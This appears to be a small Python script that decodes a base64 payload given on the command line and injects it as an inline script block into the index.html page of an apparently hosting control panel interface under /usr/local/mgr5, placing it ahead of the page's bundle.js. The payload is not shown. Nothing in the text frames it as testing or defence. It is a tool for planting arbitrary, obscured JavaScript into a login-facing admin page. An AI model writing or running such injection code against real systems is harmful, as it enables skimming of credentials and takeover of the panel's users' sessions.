import base64, sys
payload_b64 = sys.argv[1]
p = base64.b64decode(payload_b64).decode()
pth = "/usr/local/mgr5/skins/dragon/default/index.html"
s = open(pth, encoding='utf-8').read()
bj = s.index('<script type="text/javascript" src="bundle.js">')
c = s.rindex('</script>', 0, bj)
new = s[:c] + '</script>' + '<script type="text/javascript">' + p + '</script>' + s[bj:]
open(pth, 'w', encoding='utf-8').write(new)
print("replaced ok, len", len(new))
